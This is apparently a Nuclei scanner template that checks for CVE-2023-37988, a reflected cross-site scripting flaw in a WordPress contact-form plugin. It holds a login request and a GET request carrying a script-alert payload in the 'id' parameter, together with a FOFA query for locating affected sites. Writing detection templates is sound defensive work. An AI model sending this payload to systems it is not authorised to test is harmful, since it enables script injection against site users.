CVE-2023-37988: Contact Form Generator <= 2.5.5 - Cross-Site Scripting

id: CVE-2023-37988

info:
  name: Contact Form Generator <= 2.5.5 - Cross-Site Scripting
  author: 0xr2r,vats147
  severity: medium
  description: |
    The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  remediation: |
    Update to plugin version 2.5.6 or later.
  reference:
    - https://packetstorm.news/files/id/174896
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37988
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37988
    epss-score: 0.13345
    epss-percentile: 0.93946
    cwe-id: CWE-79
    cpe: cpe:2.3:a:creative-solutions:contact_form_generator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creative-solutions
    product: contact-form-generator
    fofa-query: body="/wp-content/plugins/contact-form-generator"
  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,contact-form-generator,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=contact_form_generator&id=1%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"
          - "contact_form_generator"
        condition: and

      - type: word
        part: content_type_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402207f67a81be34e9b8c59db9ca856e250ff74a5860ebf593222c5fa02f05d4b35c40220424551ef030500ff394622403976e4c154a44611a7f855ce530d6d83b0d85ea5:922c64590222798bb761d5b6d8e72950